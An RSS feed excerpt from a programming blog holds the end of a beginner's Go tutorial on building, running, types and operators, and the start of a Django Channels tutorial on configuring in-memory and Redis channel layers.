id=&#34;compiling-and-running-a-go-file&#34;&gt;Compiling and running a go file&lt;/h2&gt;&#xA;&lt;p&gt;Since go is a compiled language, it requires the compilation of the code before the code can be executed. Compiling is done with the build command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; build src&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After the compilation we will have a file that we will be able to execute.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is also &lt;strong&gt;possible to compile and run the code in one step&lt;/strong&gt; using run instead of go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; run src&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;differences-between-run-and-build&#34;&gt;Differences between run and build&lt;/h3&gt;&#xA;&lt;p&gt;The difference between build and run is that &lt;strong&gt;run compiles the code and executes it from a temporary directory&lt;/strong&gt;, and then cleans up the generated files. If we add the &amp;ndash;work flag, we can see the location of this directory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; run &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;work src&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;#&lt;/span&gt; WORK=&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;tmp&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;build983014220&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;primitive-data-types&#34;&gt;Primitive data types&lt;/h2&gt;&#xA;&lt;p&gt;Since we are dealing with a compiled language, we need to tell the compiler the data type we will use for each variable or constant.&lt;/p&gt;&#xA;&lt;p&gt;The primitive values of Go are as follows.&lt;/p&gt;&#xA;&lt;h3 id=&#34;integer&#34;&gt;Integer&lt;/h3&gt;&#xA;&lt;p&gt;For signed or unsigned integer values.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;int, assigned according to OS (32 or 64 bits)&lt;/li&gt;&#xA;&lt;li&gt;int8,&lt;/li&gt;&#xA;&lt;li&gt;int16&lt;/li&gt;&#xA;&lt;li&gt;int32&lt;/li&gt;&#xA;&lt;li&gt;int64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;unsigned-integer&#34;&gt;Unsigned integer&lt;/h3&gt;&#xA;&lt;p&gt;For unsigned, i.e. positive values.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uint, assigned according to OS (32 or 64 bits)&lt;/li&gt;&#xA;&lt;li&gt;uint8&lt;/li&gt;&#xA;&lt;li&gt;uint16&lt;/li&gt;&#xA;&lt;li&gt;uint32&lt;/li&gt;&#xA;&lt;li&gt;uint64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;decimal&#34;&gt;Decimal&lt;/h3&gt;&#xA;&lt;p&gt;For decimal numbers&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;float32&lt;/li&gt;&#xA;&lt;li&gt;float64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;texts&#34;&gt;Texts&lt;/h3&gt;&#xA;&lt;p&gt;For text there is only &lt;em&gt;string&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;boolean&#34;&gt;Boolean&lt;/h3&gt;&#xA;&lt;p&gt;For &lt;em&gt;true&lt;/em&gt; or &lt;em&gt;false&lt;/em&gt; values&lt;/p&gt;&#xA;&lt;h3 id=&#34;complex-numbers&#34;&gt;Complex numbers&lt;/h3&gt;&#xA;&lt;p&gt;It allows to handle real and imaginary numbers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complex64&lt;/li&gt;&#xA;&lt;li&gt;Complex128&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For example: c:=100+2i&lt;/p&gt;&#xA;&lt;h2 id=&#34;variables-constants-and-zero-values-in-go&#34;&gt;Variables, constants and zero values in go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;variables&#34;&gt;Variables&lt;/h3&gt;&#xA;&lt;p&gt;Go allows you to define variables by specifying the data type and the keyword var. It is as if you added the data type to a Javascript variable declaration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; gravedad &lt;span style=&#34;color:#9aedfe&#34;&gt;int8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Variable assignment can be performed in a single step as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; gravedad &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is also possible to &lt;strong&gt;let the compiler intuit the data type with the walrus (groundhog) operator&lt;/strong&gt;. This type of assignment &lt;strong&gt;is only possible within the scope of a function&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gravedad &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In go you cannot assign a variable to the null value; &lt;em&gt;nil&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; gravedad = &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;constants&#34;&gt;Constants&lt;/h3&gt;&#xA;&lt;p&gt;Constants work in a similar way, but are characterized by the fact that they cannot be modified. The keyword &lt;em&gt;const&lt;/em&gt; is used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;It is necessary to assign a value to a constant when declaring it&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; gravedad &lt;span style=&#34;color:#9aedfe&#34;&gt;int8&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we do not specify a constant type the compiler will try to guess it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; pi = &lt;span style=&#34;color:#ff9f43&#34;&gt;3.14159&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;zero-values&#34;&gt;Zero values&lt;/h3&gt;&#xA;&lt;p&gt;In go, &lt;strong&gt;if we do not assign a value the compiler will use default values&lt;/strong&gt; for each data type.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;int: 0&lt;/li&gt;&#xA;&lt;li&gt;float: 0&lt;/li&gt;&#xA;&lt;li&gt;string: &amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;bool: false&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;null-value&#34;&gt;Null value&lt;/h2&gt;&#xA;&lt;p&gt;Go uses the reserved word &lt;em&gt;nil&lt;/em&gt; to refer to a null value.&lt;/p&gt;&#xA;&lt;h2 id=&#34;comments&#34;&gt;Comments&lt;/h2&gt;&#xA;&lt;p&gt;The comments are marked using two diagonals in a row.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// This is a comment&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Multi-line comments are made with a diagonal followed by an asterisk.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;/*&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;this is a multiline comment&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;operators-in-go&#34;&gt;Operators in go&lt;/h2&gt;&#xA;&lt;p&gt;The operators of go are similar to the rest of the languages.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;+, sum&lt;/li&gt;&#xA;&lt;li&gt;-, subtraction&lt;/li&gt;&#xA;&lt;li&gt;*, multiplication&lt;/li&gt;&#xA;&lt;li&gt;/, division&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;, less than&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;=, less than or equal to&lt;/li&gt;&#xA;&lt;li&gt;&amp;gt;, greater than&lt;/li&gt;&#xA;&lt;li&gt;&amp;gt;=, greater than or equal to&lt;/li&gt;&#xA;&lt;li&gt;%, modulus or remainder&lt;/li&gt;&#xA;&lt;li&gt;!=, inequivalence&lt;/li&gt;&#xA;&lt;li&gt;==, equality&lt;/li&gt;&#xA;&lt;li&gt;!, negation&lt;/li&gt;&#xA;&lt;li&gt;&amp;amp;&amp;amp;, AND operator&lt;/li&gt;&#xA;&lt;li&gt;||, OR operator&lt;/li&gt;&#xA;&lt;li&gt;++, incremental&lt;/li&gt;&#xA;&lt;li&gt;--, decremental&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;With this I finish the most basic part of the language, I hope to put the language in a good light for you. If you want to learn more about it you can read the following post, I have written tutorials about all the basic parts of the language. See you soon!&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Golang, also known as go, is a compiled programming language developed by Google. It is a language quite appreciated according to the latest Stackoverflow surveys (2023), as you can see in my python vs go post, where I also compare the good, the bad and the ugly of this language.&lt;/p&gt;&#xA;&lt;p&gt;Go is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/microsoft/typescript-go/discussions/411&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;used even in colossal projects, like the typescript compiler.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&#34; width=&#34;1435&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django channels: channel layers, groups and users</title>
      <link>https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/</link>
      <pubDate>Tue, 16 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Channel layers allow you to interact and share information with different consumers in django channels. This allows each consumer to communicate with the rest. For example, when in a chat a user sends a message, everyone can read the message, when a user leaves a room, everyone can know that he left it. With this capability it is possible to create a distributed application in which information is shared among the different users.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know what Django channels is, I recommend you to read my previous post, where I explain the basic parts of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/&#34;&gt;django channels: consumers, scope and events&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;configure-a-channel-layer&#34;&gt;Configure a channel layer&lt;/h2&gt;&#xA;&lt;p&gt;It is not enough for one instance to be able to access information from all other instances.&lt;/p&gt;&#xA;&lt;p&gt;What if we want only some instances to have access to the information and not others?&lt;/p&gt;&#xA;&lt;p&gt;Just as in a chat, you do not want all existing chats to receive your messages, nor do you expect to receive messages from all chats, only those in which you participate.&lt;/p&gt;&#xA;&lt;p&gt;To handle this information in common we need a channel layer (an optional feature of django channels), and groups of channels or consumers. In this way we will ensure that each instance of a channel, that is, a consumer, can communicate with other channels, but not with all of them, only with those of the group we specify.&lt;/p&gt;&#xA;&lt;h3 id=&#34;channel-layers-under-development&#34;&gt;Channel layers under development&lt;/h3&gt;&#xA;&lt;p&gt;To use a channel layer in development we need to add an extra configuration to our configuration file and modify our consumer object. This configuration below tells Django to handle the channel layer in memory and is perfect for testing in development.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CHANNEL_LAYERS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;BACKEND&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;channels.layers.InMemoryChannelLayer&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;channel-layers-in-production&#34;&gt;Channel layers in production&lt;/h3&gt;&#xA;&lt;p&gt;The above configuration is not for production. For production we need to install redis and the &lt;em&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/project/channels-redis/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;channels-redis&lt;/a&gt;&#xA;&lt;/em&gt; package. I told you a bit about redis when I explained how to create a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/&#34;&gt;history of products visited with django and redis&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install channel&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If installed correctly we will have redis running on port 6379.&lt;/p&gt;&#xA;&lt;p&gt;We will now directly access the redis application through its default port.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CHANNEL_LAYERS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;BACKEND&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;channels_redis.core.RedisChannelLayer&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;CONFIG&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hosts&amp;#34;&lt;/span&gt;: [(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6379&lt;/span&gt;)],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;broadcasting-with-a-channel-or-consumer&#34;&gt;Broadcasting with a channel or consumer&lt;/h2&gt;&#xA;&lt;p&gt;After adding the above configuration, it is time to modify our &lt;em&gt;consumer&lt;/em&gt; to send messages to the rest of the connections. In the previous post I explained that &lt;strong&gt;each consumer has the properties &lt;em&gt;channel_layer&lt;/em&gt; and &lt;em&gt;channel_name&lt;/em&gt;&lt;/strong&gt;, which refer to the channel layer it belongs to and its own name, respectively. We will use those properties to get the channel layer it belongs to and its name.&lt;/p&gt;&#xA;&lt;p&gt;Our consumer will continue to maintain its three main functions: connect, disconnect and receive, but with added functionality.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AddToChannels-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AddToChannels-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Schematic of groups and channel layers in django channels&#34; width=&#34;1080&#34; height=&#34;1080&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      